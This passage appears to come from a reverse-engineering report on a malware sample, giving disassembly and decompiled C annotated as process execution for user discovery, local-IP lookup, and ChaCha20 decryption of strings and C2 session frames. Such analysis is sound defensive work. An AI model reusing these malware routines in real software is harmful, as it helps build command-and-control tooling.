0040ccbe41 80 f8 20CMP R8B,0x20
0040ccc274 24JZ LAB_0040cce8
0040ccc441 80 f8 09CMP R8B,0x9
0040ccc874 1eJZ LAB_0040cce8
0040ccca83 fe 01CMP ESI,0x1
0040cccd75 22JNZ LAB_0040ccf1
0040cccfff c7INC EDI
0040ccd183 ff 01CMP EDI,0x1
0040ccd475 19JNZ LAB_0040ccef
0040ccd6ff c2INC EDX
0040ccd848 63 d2MOVSXD RDX,EDX
0040ccdb80 7c 14 3f 41CMP byte ptr [RSP + RDX*0x1 + 0x3f],0x41
0040cce041 0f 44 c9CMOVZ ECX,R9D
0040cce431 f6XOR ESI,ESI
0040cce6eb 0eJMP LAB_0040ccf6
LAB_0040cce8:
0040cce8be 01 00 00 00MOV ESI,0x1
0040ccedeb 02JMP LAB_0040ccf1
LAB_0040ccef:
0040ccef31 f6XOR ESI,ESI
LAB_0040ccf1:
0040ccf183 ff 0bCMP EDI,0xb
0040ccf474 05JZ LAB_0040ccfb
LAB_0040ccf6:
0040ccf648 ff c0INC RAX
0040ccf9eb b1JMP LAB_0040ccac
LAB_0040ccfb:
0040ccfb85 c9TEST ECX,ECX
0040ccfd0f 84 2b ff ff ffJZ LAB_0040cc2e
0040cd0349 63 d5MOVSXD RDX,R13D
LAB_0040cd06:
0040cd0641 8a 0c 16MOV CL,byte ptr [R14 + RDX*0x1]
0040cd0a89 d0MOV EAX,EDX
0040cd0c48 ff c2INC RDX
0040cd0f80 e1 dfAND CL,0xdf
0040cd1275 f2JNZ LAB_0040cd06
LAB_0040cd14:
0040cd144d 01 f5ADD R13,R14
0040cd1748 98CDQE
0040cd194c 89 efMOV RDI,R13
0040cd1cc6 44 04 3f 00MOV byte ptr [RSP + RAX*0x1 + 0x3f],0x0
0040cd21e8 f2 02 00 00CALL thunk_FUN_0040cf7c
0040cd2683 f8 0fCMP EAX,0xf
0040cd290f 8f ff fe ff ffJG LAB_0040cc2e
0040cd2f48 8d 7c 24 1fLEA RDI,[RSP + 0x1f]
0040cd344c 89 eeMOV RSI,R13
0040cd37e8 37 04 00 00CALL thunk_FUN_0040d152
LAB_0040cd3c:
0040cd3c89 efMOV EDI,EBP
0040cd3ee8 fe 0d 01 00CALL FUN_0041db41
0040cd4348 8d 44 24 1fLEA RAX,[RSP + 0x1f]
0040cd4848 89 c7MOV RDI,RAX
0040cd4b48 89 04 24MOV qword ptr [RSP],RAX
0040cd4fe8 c4 02 00 00CALL thunk_FUN_0040cf7c
0040cd5485 c0TEST EAX,EAX
0040cd560f 84 18 fe ff ffJZ LAB_0040cb74
0040cd5c48 8b 05 8d 19 22 00MOV RAX,qword ptr [DAT_0062e6f0]
0040cd6345 31 e4XOR R12D,R12D
0040cd6648 8d ac 24 40 02 00 00LEA RBP,[RSP + 0x240]
0040cd6e48 8b b8 e0 0c 00 00MOV RDI,qword ptr [RAX + 0xce0]
0040cd75e8 22 aa 00 00CALL FUN_0041779c
0040cd7a49 89 c5MOV R13,RAX
0040cd7d48 85 c0TEST RAX,RAX
0040cd800f 84 6f 01 00 00JZ LAB_0040cef5
LAB_0040cd86:
0040cd864c 89 efMOV RDI,R13
0040cd89e8 4f aa 00 00CALL FUN_004177dd
0040cd8e48 85 c0TEST RAX,RAX
0040cd910f 84 56 01 00 00JZ LAB_0040ceed
0040cd9745 85 e4TEST R12D,R12D
0040cd9a0f 85 4d 01 00 00JNZ LAB_0040ceed
0040cda08a 58 13MOV BL,byte ptr [RAX + 0x13]
0040cda38d 53 d0LEA EDX,[RBX + -0x30]
0040cda680 fa 09CMP DL,0x9
0040cda977 dbJA LAB_0040cd86
0040cdab48 8d 58 13LEA RBX,[RAX + 0x13]
0040cdaf48 8b 05 3a 19 22 00MOV RAX,qword ptr [DAT_0062e6f0]
0040cdb648 89 efMOV RDI,RBP
0040cdb94c 8d bc 24 40 12 00 00LEA R15,[RSP + 0x1240]
0040cdc148 8b b0 e0 0c 00 00MOV RSI,qword ptr [RAX + 0xce0]
0040cdc8e8 a6 03 00 00CALL thunk_FUN_0040d152
0040cdcd48 89 deMOV RSI,RBX
0040cdd048 89 efMOV RDI,RBP
0040cdd3e8 45 02 00 00CALL FUN_0040d01d
0040cdd848 8b 05 11 19 22 00MOV RAX,qword ptr [DAT_0062e6f0]
0040cddf48 89 efMOV RDI,RBP
0040cde248 8b b0 20 0d 00 00MOV RSI,qword ptr [RAX + 0xd20]
0040cde9e8 2f 02 00 00CALL FUN_0040d01d
0040cdee48 89 efMOV RDI,RBP
0040cdf1e8 a6 a9 00 00CALL FUN_0041779c
0040cdf649 89 c6MOV R14,RAX
0040cdf948 85 c0TEST RAX,RAX
0040cdfc74 88JZ LAB_0040cd86
LAB_0040cdfe:
0040cdfe4c 89 f7MOV RDI,R14
0040ce01e8 d7 a9 00 00CALL FUN_004177dd
0040ce0648 89 c2MOV RDX,RAX
0040ce0948 85 c0TEST RAX,RAX
0040ce0c0f 84 ce 00 00 00JZ LAB_0040cee0
0040ce1245 85 e4TEST R12D,R12D
0040ce150f 85 c5 00 00 00JNZ LAB_0040cee0
0040ce1bbe 00 10 00 00MOV ESI,0x1000
0040ce204c 89 ffMOV RDI,R15
0040ce2348 89 54 24 08MOV qword ptr [RSP + local_2270],RDX
0040ce28e8 e8 03 00 00CALL FUN_0040d215
0040ce2d48 8b 05 bc 18 22 00MOV RAX,qword ptr [DAT_0062e6f0]
0040ce3448 89 efMOV RDI,RBP
0040ce3748 8b b0 e0 0c 00 00MOV RSI,qword ptr [RAX + 0xce0]
0040ce3ee8 30 03 00 00CALL thunk_FUN_0040d152
0040ce4348 89 deMOV RSI,RBX
0040ce4648 89 efMOV RDI,RBP
0040ce49e8 cf 01 00 00CALL FUN_0040d01d
0040ce4e48 8b 05 9b 18 22 00MOV RAX,qword ptr [DAT_0062e6f0]
0040ce5548 89 efMOV RDI,RBP
0040ce5848 8b b0 00 11 00 00MOV RSI,qword ptr [RAX + 0x1100]
0040ce5fe8 b9 01 00 00CALL FUN_0040d01d
0040ce6448 8b 54 24 08MOV RDX,qword ptr [RSP + local_2270]
0040ce6948 89 efMOV RDI,RBP
0040ce6c48 8d 72 13LEA RSI,[RDX + 0x13]
0040ce70e8 a8 01 00 00CALL FUN_0040d01d
0040ce75ba ff 0f 00 00MOV EDX,0xfff
0040ce7a4c 89 feMOV RSI,R15
0040ce7d48 89 efMOV RDI,RBP
0040ce80e8 7c 0e 01 00CALL FUN_0041dd01
0040ce8548 85 c0TEST RAX,RAX
0040ce880f 8e 70 ff ff ffJLE LAB_0040cdfe
0040ce8e48 8b 14 24MOV RDX,qword ptr [RSP]
0040ce9289 c6MOV ESI,EAX
0040ce944c 89 ffMOV RDI,R15
0040ce97c6 84 04 40 12 00 00 00MOV byte ptr [RSP + RAX*0x1 + 0x1240],0x0
0040ce9fe8 16 04 00 00CALL thunk_FUN_0040d25a
0040cea4ff c0INC EAX
0040cea60f 84 52 ff ff ffJZ LAB_0040cdfe
0040ceac48 89 dfMOV RDI,RBX
0040ceafe8 cb 01 00 00CALL FUN_0040d07f
0040ceb489 c7MOV EDI,EAX
0040ceb689 44 24 08MOV dword ptr [RSP + local_2270],EAX
0040cebae8 c1 8a 00 00CALL FUN_00415980
0040cebf84 c0TEST AL,AL
0040cec10f 85 37 ff ff ffJNZ LAB_0040cdfe
0040cec78b 7c 24 08MOV EDI,dword ptr [RSP + local_2270]
0040cecbbe 09 00 00 00MOV ESI,0x9
0040ced041 bc 01 00 00 00MOV R12D,0x1
0040ced6e8 a8 f1 00 00CALL FUN_0041c083
0040cedbe9 1e ff ff ffJMP LAB_0040cdfe
LAB_0040cee0:
0040cee04c 89 f7MOV RDI,R14
0040cee3e8 8e a8 00 00CALL FUN_00417776
0040cee8e9 99 fe ff ffJMP LAB_0040cd86
LAB_0040ceed:
0040ceed4c 89 efMOV RDI,R13
0040cef0e8 81 a8 00 00CALL FUN_00417776
LAB_0040cef5:
0040cef5bf 01 00 00 00MOV EDI,0x1
0040cefae8 64 0e 01 00CALL FUN_0041dd63
0040ceffeb 0dJMP LAB_0040cf0e
LAB_0040cf01:
0040cf0185 c9TEST ECX,ECX
0040cf030f 84 25 fd ff ffJZ LAB_0040cc2e
0040cf09e9 06 fe ff ffJMP LAB_0040cd14
LAB_0040cf0e:
0040cf0e48 81 c4 48 22 00 00ADD RSP,0x2248
0040cf1544 89 e0MOV EAX,R12D
0040cf185bPOP RBX
0040cf195dPOP RBP
0040cf1a41 5cPOP R12
0040cf1c41 5dPOP R13
0040cf1e41 5ePOP R14
0040cf2041 5fPOP R15
0040cf22c3RET

runs a program through pipe/fork/execve…

0x40d2bf297 bytes
undefined FUN_0040d2bf()

runs a program through pipe/fork/execve and collects its output; called by the user discovery 0x40a57f

Cited as
E20, E27
Behaviours
B10
Called from
FUN_0040a57f
Calls
FUN_0041bdca, FUN_0041bdde, FUN_0041bf3d, FUN_0041db14, FUN_0041db41, FUN_0041db79, FUN_0041dcc4, FUN_0041dcd6
Decompiled C · 46 lines
int FUN_0040d2bf(long param_1,long param_2,undefined1 *param_3,ulong param_4)

{
  int iVar1;
  long lVar2;
  long lVar3;
  undefined4 local_44;
  undefined4 local_40;
  int local_3c;
  
  local_44 = 0;
  if ((((param_1 != 0) && (param_2 != 0)) && (param_3 != (undefined1 *)0x0)) && (param_4 != 0)) {
    *param_3 = 0;
    iVar1 = FUN_0041dcc4(&local_40);
    if (iVar1 == 0) {
      iVar1 = FUN_0041bdde();
      if (-1 < iVar1) {
        if (iVar1 == 0) {
          FUN_0041db41(local_40);
          if (local_3c != 1) {
            FUN_0041db79(local_3c,1);
            FUN_0041db79(local_3c,2);
            FUN_0041db41(local_3c);
          }
          FUN_0041bdca(param_1,param_2,DAT_006bc6c0);
          FUN_0041db14(0x7f);
        }
        lVar3 = 0;
        FUN_0041db41(local_3c);
        while ((lVar3 + 1U < param_4 &&
               (lVar2 = FUN_0041dcd6(local_40,param_3 + lVar3,(param_4 - 1) - lVar3), 0 < lVar2))) {
          lVar3 = lVar3 + lVar2;
        }
        param_3[lVar3] = 0;
        FUN_0041db41(local_40);
        FUN_0041bf3d(iVar1,&local_44,0);
        return -(uint)(lVar3 == 0);
      }
      FUN_0041db41(local_40);
      FUN_0041db41(local_3c);
    }
  }
  return -1;
}

Assembly · 89 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
0040d2bf41 57PUSH R15; E27
0040d2c141 56PUSH R14
0040d2c341 55PUSH R13
0040d2c541 54PUSH R12
0040d2c755PUSH RBP
0040d2c853PUSH RBX
0040d2c948 83 ec 18SUB RSP,0x18
0040d2cdc7 44 24 04 00 00 00 00MOV dword ptr [RSP + local_44],0x0
0040d2d548 85 ffTEST RDI,RDI
0040d2d874 4aJZ LAB_0040d324
0040d2da49 89 f7MOV R15,RSI
0040d2dd48 85 f6TEST RSI,RSI
0040d2e074 42JZ LAB_0040d324
0040d2e249 89 d4MOV R12,RDX
0040d2e548 85 d2TEST RDX,RDX
0040d2e874 3aJZ LAB_0040d324
0040d2ea48 89 cdMOV RBP,RCX
0040d2ed48 85 c9TEST RCX,RCX
0040d2f074 32JZ LAB_0040d324
0040d2f2c6 02 00MOV byte ptr [RDX],0x0
0040d2f549 89 feMOV R14,RDI
0040d2f848 8d 7c 24 08LEA RDI,[RSP + 0x8]
0040d2fde8 c2 09 01 00CALL FUN_0041dcc4
0040d30285 c0TEST EAX,EAX
0040d30475 1eJNZ LAB_0040d324
0040d306e8 d3 ea 00 00CALL FUN_0041bdde
0040d30b41 89 c5MOV R13D,EAX
0040d30e85 c0TEST EAX,EAX
0040d31079 1aJNS LAB_0040d32c
0040d3128b 7c 24 08MOV EDI,dword ptr [RSP + local_40]
0040d316e8 26 08 01 00CALL FUN_0041db41
0040d31b8b 7c 24 0cMOV EDI,dword ptr [RSP + local_3c]
0040d31fe8 1d 08 01 00CALL FUN_0041db41
LAB_0040d324:
0040d32483 c8 ffOR EAX,0xffffffff
0040d327e9 ad 00 00 00JMP LAB_0040d3d9
LAB_0040d32c:
0040d32c75 4fJNZ LAB_0040d37d
0040d32e8b 7c 24 08MOV EDI,dword ptr [RSP + local_40]
0040d332e8 0a 08 01 00CALL FUN_0041db41
0040d3378b 7c 24 0cMOV EDI,dword ptr [RSP + local_3c]
0040d33b83 ff 01CMP EDI,0x1
0040d33e74 21JZ LAB_0040d361
0040d340be 01 00 00 00MOV ESI,0x1
0040d345e8 2f 08 01 00CALL FUN_0041db79
0040d34a8b 7c 24 0cMOV EDI,dword ptr [RSP + local_3c]
0040d34ebe 02 00 00 00MOV ESI,0x2
0040d353e8 21 08 01 00CALL FUN_0041db79
0040d3588b 7c 24 0cMOV EDI,dword ptr [RSP + local_3c]
0040d35ce8 e0 07 01 00CALL FUN_0041db41
LAB_0040d361:
0040d36148 8b 15 58 f3 2a 00MOV RDX,qword ptr [DAT_006bc6c0]
0040d3684c 89 f7MOV RDI,R14
0040d36b4c 89 feMOV RSI,R15
0040d36ee8 57 ea 00 00CALL FUN_0041bdca
0040d373bf 7f 00 00 00MOV EDI,0x7f
0040d378e8 97 07 01 00CALL FUN_0041db14
LAB_0040d37d:
0040d37d8b 7c 24 0cMOV EDI,dword ptr [RSP + local_3c]
0040d38131 dbXOR EBX,EBX
0040d3834c 8d 75 ffLEA R14,[RBP + -0x1]
0040d387e8 b5 07 01 00CALL FUN_0041db41
LAB_0040d38c:
0040d38c48 8d 43 01LEA RAX,[RBX + 0x1]
0040d3908b 7c 24 08MOV EDI,dword ptr [RSP + local_40]
0040d3944d 8d 3c 1cLEA R15,[R12 + RBX*0x1]
0040d39848 39 e8CMP RAX,RBP
0040d39b73 13JNC LAB_0040d3b0
0040d39d4c 89 f2MOV RDX,R14
0040d3a04c 89 feMOV RSI,R15
0040d3a348 29 daSUB RDX,RBX
0040d3a6e8 2b 09 01 00CALL FUN_0041dcd6
0040d3ab48 85 c0TEST RAX,RAX
0040d3ae7f 24JG LAB_0040d3d4
LAB_0040d3b0:
0040d3b041 c6 07 00MOV byte ptr [R15],0x0
0040d3b48b 7c 24 08MOV EDI,dword ptr [RSP + local_40]
0040d3b8e8 84 07 01 00CALL FUN_0041db41
0040d3bd31 d2XOR EDX,EDX
0040d3bf48 8d 74 24 04LEA RSI,[RSP + 0x4]
0040d3c444 89 efMOV EDI,R13D
0040d3c7e8 71 eb 00 00CALL FUN_0041bf3d
0040d3cc48 83 fb 01CMP RBX,0x1
0040d3d019 c0SBB EAX,EAX
0040d3d2eb 05JMP LAB_0040d3d9
LAB_0040d3d4:
0040d3d448 01 c3ADD RBX,RAX
0040d3d7eb b3JMP LAB_0040d38c
LAB_0040d3d9:
0040d3d948 83 c4 18ADD RSP,0x18
0040d3dd5bPOP RBX
0040d3de5dPOP RBP
0040d3df41 5cPOP R12
0040d3e141 5dPOP R13
0040d3e341 5ePOP R14
0040d3e541 5fPOP R15
0040d3e7c3RET

local address via UDP connect to a…

0x40d3e8142 bytes
undefined FUN_0040d3e8()

local address via UDP connect to a public resolver and getsockname

Cited as
E10
Behaviours
B7
Called from
FUN_004001d0
Calls
FUN_00417c3c, FUN_00419689, FUN_00419ac9, FUN_00419b08, FUN_00419b0d, FUN_0041bc03, FUN_0041db41
Decompiled C · 27 lines
undefined4 FUN_0040d3e8(void)

{
  int iVar1;
  undefined4 *puVar2;
  undefined4 local_2c;
  undefined2 local_28;
  undefined2 local_26;
  undefined4 local_24;
  
  local_2c = 0x10;
  puVar2 = (undefined4 *)FUN_00417c3c();
  *puVar2 = 0;
  iVar1 = FUN_0041bc03(2,2,0);
  local_24 = 0;
  if (iVar1 != -1) {
    local_28 = 2;
    local_24 = FUN_00419b08(0x8080808);
    local_26 = FUN_00419b0d(0x35);
    FUN_00419689(iVar1,&local_28,0x10);
    FUN_00419ac9(iVar1,&local_28,&local_2c);
    FUN_0041db41(iVar1);
  }
  return local_24;
}

Assembly · 37 instructions, 0 annotated
AddressBytesInstructionComment
0040d3e841 54PUSH R12
0040d3ea55PUSH RBP
0040d3eb48 83 ec 28SUB RSP,0x28
0040d3efc7 44 24 0c 10 00 00 00MOV dword ptr [RSP + local_2c],0x10
0040d3f7e8 40 a8 00 00CALL FUN_00417c3c
0040d3fc31 d2XOR EDX,EDX
0040d3febe 02 00 00 00MOV ESI,0x2
0040d403bf 02 00 00 00MOV EDI,0x2
0040d408c7 00 00 00 00 00MOV dword ptr [RAX],0x0
0040d40ee8 f0 e7 00 00CALL FUN_0041bc03
0040d41389 c5MOV EBP,EAX
0040d41531 c0XOR EAX,EAX
0040d41783 fd ffCMP EBP,-0x1
0040d41a74 52JZ LAB_0040d46e
0040d41cbf 08 08 08 08MOV EDI,0x8080808
0040d4214c 8d 64 24 10LEA R12,[RSP + 0x10]
0040d42666 c7 44 24 10 02 00MOV word ptr [RSP + local_28],0x2
0040d42de8 d6 c6 00 00CALL FUN_00419b08
0040d432bf 35 00 00 00MOV EDI,0x35
0040d43789 44 24 14MOV dword ptr [RSP + local_24],EAX
0040d43be8 cd c6 00 00CALL FUN_00419b0d
0040d440ba 10 00 00 00MOV EDX,0x10
0040d4454c 89 e6MOV RSI,R12
0040d44889 efMOV EDI,EBP
0040d44a66 89 44 24 12MOV word ptr [RSP + local_26],AX
0040d44fe8 35 c2 00 00CALL FUN_00419689
0040d45448 8d 54 24 0cLEA RDX,[RSP + 0xc]
0040d4594c 89 e6MOV RSI,R12
0040d45c89 efMOV EDI,EBP
0040d45ee8 66 c6 00 00CALL FUN_00419ac9
0040d46389 efMOV EDI,EBP
0040d465e8 d7 06 01 00CALL FUN_0041db41
0040d46a8b 44 24 14MOV EAX,dword ptr [RSP + local_24]
LAB_0040d46e:
0040d46e48 83 c4 28ADD RSP,0x28
0040d4725dPOP RBP
0040d47341 5cPOP R12
0040d475c3RET

chaCha20 stream cipher, used for the…

0x40d6c6564 bytes
undefined FUN_0040d6c6()

ChaCha20 stream cipher, used for the string store and for C2 session frames

Cited as
E3, E32
Behaviours
B1, B6
Called from
FUN_0040939a, FUN_0040d8fa, FUN_0040dae1, FUN_0041159e, FUN_00411680, FUN_004129d6, FUN_00412ad8
Calls
FUN_0040d674, FUN_0040d677
Decompiled C · 103 lines
void FUN_0040d6c6(long param_1,undefined8 param_2,undefined8 param_3,long param_4,long param_5,
                 ulong param_6)

{
  byte bVar1;
  undefined4 uVar2;
  long lVar3;
  long lVar4;
  undefined8 extraout_RDX;
  long extraout_RDX_00;
  long extraout_RDX_01;
  int *piVar5;
  byte *pbVar6;
  int *piVar7;
  undefined1 *puVar8;
  int *piVar9;
  int iVar10;
  byte bVar11;
  int local_f0 [4];
  undefined1 local_e0 [32];
  int local_c0;
  undefined4 local_bc;
  undefined4 local_b8;
  undefined4 local_b4;
  int local_b0 [16];
  byte local_70 [64];
  
  bVar11 = 0;
  param_6 = param_6 & 0xffffffff;
  lVar4 = 0;
  do {
    lVar3 = lVar4 + 1;
    local_70[lVar4] = (&DAT_00426f20)[lVar4] ^ 0xa5;
    lVar4 = lVar3;
  } while (lVar3 != 0x10);
  lVar4 = 0;
  do {
    uVar2 = FUN_0040d674(local_70 + lVar4);
    *(undefined4 *)((long)local_f0 + lVar4) = uVar2;
    lVar4 = lVar4 + 4;
  } while (lVar4 != 0x10);
  lVar4 = 0;
  puVar8 = local_e0;
  do {
    uVar2 = FUN_0040d674(param_1 + lVar4);
    *(undefined4 *)(puVar8 + lVar4) = uVar2;
    lVar4 = lVar4 + 4;
  } while (lVar4 != 0x20);
  local_c0 = (int)param_2;
  piVar9 = local_b0;
  local_bc = FUN_0040d674(extraout_RDX);
  local_b8 = FUN_0040d674(extraout_RDX_00 + 4);
  local_b4 = FUN_0040d674(extraout_RDX_01 + 8);
  for (lVar4 = 0; (int)lVar4 < (int)param_6; lVar4 = lVar4 + 0x40) {
    iVar10 = 10;
    piVar5 = local_f0;
    piVar7 = local_b0;
    for (lVar3 = 0x10; lVar3 != 0; lVar3 = lVar3 + -1) {
      *piVar7 = *piVar5;
      piVar5 = piVar5 + (ulong)bVar11 * -2 + 1;
      piVar7 = piVar7 + (ulong)bVar11 * -2 + 1;
    }
    do {
      FUN_0040d677(piVar9,0,4,8,0xc);
      FUN_0040d677();
      FUN_0040d677();
      FUN_0040d677();
      FUN_0040d677();
      FUN_0040d677();
      FUN_0040d677();
      FUN_0040d677();
      iVar10 = iVar10 + -1;
    } while (iVar10 != 0);
    lVar3 = 0;
    do {
      *(int *)((long)piVar9 + lVar3) =
           *(int *)((long)piVar9 + lVar3) + *(int *)((long)local_f0 + lVar3);
      lVar3 = lVar3 + 4;
    } while (lVar3 != 0x40);
    lVar3 = 0;
    pbVar6 = local_70;
    do {
      uVar2 = *(undefined4 *)((long)piVar9 + lVar3);
      lVar3 = lVar3 + 4;
      *pbVar6 = (byte)uVar2;
      pbVar6[1] = (byte)((uint)uVar2 >> 8);
      pbVar6[2] = (byte)((uint)uVar2 >> 0x10);
      pbVar6[3] = (byte)((uint)uVar2 >> 0x18);
      pbVar6 = pbVar6 + 4;
    } while (lVar3 != 0x40);
    local_c0 = local_c0 + 1;
    pbVar6 = local_70;
    for (lVar3 = lVar4; ((int)lVar3 <= (int)lVar4 + 0x3f && ((int)lVar3 < (int)param_6));
        lVar3 = lVar3 + 1) {
      bVar1 = *pbVar6;
      pbVar6 = pbVar6 + 1;
      *(byte *)(param_5 + lVar3) = *(byte *)(param_4 + lVar3) ^ bVar1;
    }
  }
  return;
}

Assembly · 144 instructions, 0 annotated
AddressBytesInstructionComment
0040d6c641 57PUSH R15
0040d6c849 89 faMOV R10,RDI
0040d6cb45 89 cbMOV R11D,R9D
0040d6ce31 c0XOR EAX,EAX
0040d6d041 56PUSH R14
0040d6d248 8d 3d 47 98 01 00LEA RDI,[DAT_00426f20]
0040d6d941 55PUSH R13
0040d6db4d 89 c5MOV R13,R8
0040d6de41 54PUSH R12
0040d6e049 89 ccMOV R12,RCX
0040d6e355PUSH RBP
0040d6e453PUSH RBX
0040d6e548 81 ec c8 00 00 00SUB RSP,0xc8
0040d6ec48 8d 9c 24 88 00 00 00LEA RBX,[RSP + 0x88]
LAB_0040d6f4:
0040d6f48a 0c 07MOV CL,byte ptr [RDI + RAX*0x1]
0040d6f748 ff c0INC RAX
0040d6fa83 f1 a5XOR ECX,0xffffffa5
0040d6fd88 4c 18 ffMOV byte ptr [RAX + RBX*0x1 + -0x1],CL
0040d70148 83 f8 10CMP RAX,0x10
0040d70575 edJNZ LAB_0040d6f4
0040d70731 c9XOR ECX,ECX
0040d70948 8d 6c 24 08LEA RBP,[RSP + 0x8]
LAB_0040d70e:
0040d70e48 8d 3c 0bLEA RDI,[RBX + RCX*0x1]
0040d712e8 5d ff ff ffCALL FUN_0040d674
0040d71789 44 0d 00MOV dword ptr [RBP + RCX*0x1],EAX
0040d71b48 83 c1 04ADD RCX,0x4
0040d71f48 83 f9 10CMP RCX,0x10
0040d72375 e9JNZ LAB_0040d70e
0040d72531 c9XOR ECX,ECX
0040d7274c 8d 44 24 18LEA R8,[RSP + 0x18]
LAB_0040d72c:
0040d72c49 8d 3c 0aLEA RDI,[R10 + RCX*0x1]
0040d730e8 3f ff ff ffCALL FUN_0040d674
0040d73541 89 04 08MOV dword ptr [R8 + RCX*0x1],EAX
0040d73948 83 c1 04ADD RCX,0x4
0040d73d48 83 f9 20CMP RCX,0x20
0040d74175 e9JNZ LAB_0040d72c
0040d74348 89 d7MOV RDI,RDX
0040d74689 74 24 38MOV dword ptr [RSP + local_c0],ESI
0040d74a45 31 ffXOR R15D,R15D
0040d74d4c 8d 54 24 48LEA R10,[RSP + 0x48]
0040d752e8 1d ff ff ffCALL FUN_0040d674
0040d75748 8d 7a 04LEA RDI,[RDX + 0x4]
0040d75b89 44 24 3cMOV dword ptr [RSP + local_bc],EAX
0040d75fe8 10 ff ff ffCALL FUN_0040d674
0040d76448 8d 7a 08LEA RDI,[RDX + 0x8]
0040d76889 44 24 40MOV dword ptr [RSP + local_b8],EAX
0040d76ce8 03 ff ff ffCALL FUN_0040d674
0040d77189 44 24 44MOV dword ptr [RSP + local_b4],EAX
LAB_0040d775:
0040d77544 89 7c 24 04MOV dword ptr [RSP + local_f4],R15D
0040d77a45 39 fbCMP R11D,R15D
0040d77d0f 8e 65 01 00 00JLE LAB_0040d8e8
0040d78348 8d 7c 24 48LEA RDI,[RSP + 0x48]
0040d788b9 10 00 00 00MOV ECX,0x10
0040d78d48 89 eeMOV RSI,RBP
0040d79041 be 0a 00 00 00MOV R14D,0xa
0040d796f3 a5MOVSD.REP RDI,RSI
LAB_0040d798:
0040d7984c 89 d7MOV RDI,R10
0040d79b31 f6XOR ESI,ESI
0040d79d41 b8 0c 00 00 00MOV R8D,0xc
0040d7a3b9 08 00 00 00MOV ECX,0x8
0040d7a8ba 04 00 00 00MOV EDX,0x4
0040d7ade8 c5 fe ff ffCALL FUN_0040d677
0040d7b241 b8 0d 00 00 00MOV R8D,0xd
0040d7b8b9 09 00 00 00MOV ECX,0x9
0040d7bdba 05 00 00 00MOV EDX,0x5
0040d7c2be 01 00 00 00MOV ESI,0x1
0040d7c7e8 ab fe ff ffCALL FUN_0040d677
0040d7cc41 b8 0e 00 00 00MOV R8D,0xe
0040d7d2b9 0a 00 00 00MOV ECX,0xa
0040d7d7ba 06 00 00 00MOV EDX,0x6
0040d7dcbe 02 00 00 00MOV ESI,0x2
0040d7e1e8 91 fe ff ffCALL FUN_0040d677
0040d7e641 b8 0f 00 00 00MOV R8D,0xf
0040d7ecb9 0b 00 00 00MOV ECX,0xb
0040d7f1ba 07 00 00 00MOV EDX,0x7
0040d7f6be 03 00 00 00MOV ESI,0x3
0040d7fbe8 77 fe ff ffCALL FUN_0040d677
0040d80031 f6XOR ESI,ESI
0040d80241 b8 0f 00 00 00MOV R8D,0xf
0040d808b9 0a 00 00 00MOV ECX,0xa
0040d80dba 05 00 00 00MOV EDX,0x5
0040d812e8 60 fe ff ffCALL FUN_0040d677
0040d81741 b8 0c 00 00 00MOV R8D,0xc
0040d81db9 0b 00 00 00MOV ECX,0xb
0040d822ba 06 00 00 00MOV EDX,0x6
0040d827be 01 00 00 00MOV ESI,0x1
0040d82ce8 46 fe ff ffCALL FUN_0040d677
0040d83141 b8 0d 00 00 00MOV R8D,0xd
0040d837b9 08 00 00 00MOV ECX,0x8
0040d83cba 07 00 00 00MOV EDX,0x7
0040d841be 02 00 00 00MOV ESI,0x2
0040d846e8 2c fe ff ffCALL FUN_0040d677
0040d84b41 b8 0e 00 00 00MOV R8D,0xe
0040d851b9 09 00 00 00MOV ECX,0x9
0040d856ba 04 00 00 00MOV EDX,0x4
0040d85bbe 03 00 00 00MOV ESI,0x3
0040d860e8 12 fe ff ffCALL FUN_0040d677
0040d86541 ff ceDEC R14D
0040d8680f 85 2a ff ff ffJNZ LAB_0040d798
0040d86e31 c0XOR EAX,EAX
LAB_0040d870:
0040d8708b 54 05 00MOV EDX,dword ptr [RBP + RAX*0x1]
0040d87441 01 14 02ADD dword ptr [R10 + RAX*0x1],EDX
0040d87848 83 c0 04ADD RAX,0x4
0040d87c48 83 f8 40CMP RAX,0x40
0040d88075 eeJNZ LAB_0040d870
0040d88248 89 deMOV RSI,RBX
0040d88548 89 d8MOV RAX,RBX
0040d88845 31 c9XOR R9D,R9D
LAB_0040d88b:
0040d88b43 8b 14 0aMOV EDX,dword ptr [R10 + R9*0x1]
0040d88f49 83 c1 04ADD R9,0x4
0040d89348 83 c0 04ADD RAX,0x4
0040d89789 d7MOV EDI,EDX
0040d89988 50 fcMOV byte ptr [RAX + local_70],DL
0040d89c88 70 fdMOV byte ptr [RAX + local_6f],DH
0040d89fc1 ef 10SHR EDI,0x10
0040d8a2c1 ea 18SHR EDX,0x18
0040d8a540 88 78 feMOV byte ptr [RAX + local_6e],DIL
0040d8a988 50 ffMOV byte ptr [RAX + local_6d],DL
0040d8ac49 83 f9 40CMP R9,0x40
0040d8b075 d9JNZ LAB_0040d88b
0040d8b2ff 44 24 38INC dword ptr [RSP + local_c0]
0040d8b644 8b 74 24 04MOV R14D,dword ptr [RSP + local_f4]
0040d8bb4c 89 f8MOV RAX,R15
0040d8be41 83 c6 3fADD R14D,0x3f
LAB_0040d8c2:
0040d8c241 39 c6CMP R14D,EAX
0040d8c57c 18JL LAB_0040d8df
0040d8c741 39 c3CMP R11D,EAX
0040d8ca7e 13JLE LAB_0040d8df
0040d8cc41 8a 14 04MOV DL,byte ptr [R12 + RAX*0x1]
0040d8d032 16XOR DL,byte ptr [RSI]
0040d8d248 ff c6INC RSI
0040d8d541 88 54 05 00MOV byte ptr [R13 + RAX*0x1],DL
0040d8da48 ff c0INC RAX
0040d8ddeb e3JMP LAB_0040d8c2
LAB_0040d8df:
0040d8df49 83 c7 40ADD R15,0x40
0040d8e3e9 8d fe ff ffJMP LAB_0040d775
LAB_0040d8e8:
0040d8e848 81 c4 c8 00 00 00ADD RSP,0xc8
0040d8ef5bPOP RBX
0040d8f05dPOP RBP
0040d8f141 5cPOP R12
0040d8f341 5dPOP R13
0040d8f541 5ePOP R14
0040d8f741 5fPOP R15
0040d8f9c3RET

copies one store entry into its slot…

0x40d8fa487 bytes
undefined FUN_0040d8fa()

copies one store entry into its slot and decrypts it in place

Cited as
E2
Behaviours
B1
Called from
FUN_0040dba0
Calls
FUN_0040d6c6, FUN_00417f10
Decompiled C · 62 lines
undefined8 FUN_0040d8fa(uint param_1,undefined1 *param_2,uint param_3,undefined8 param_4)

{
  bool bVar1;
  undefined1 *puVar2;
  ulong uVar3;
  undefined *puVar4;
  long lVar5;
  undefined *puVar6;
  long *plVar7;
  byte bVar8;
  
  bVar8 = 0;
  plVar7 = (long *)((ulong)param_1 * 0x10 + DAT_0062e6f0);
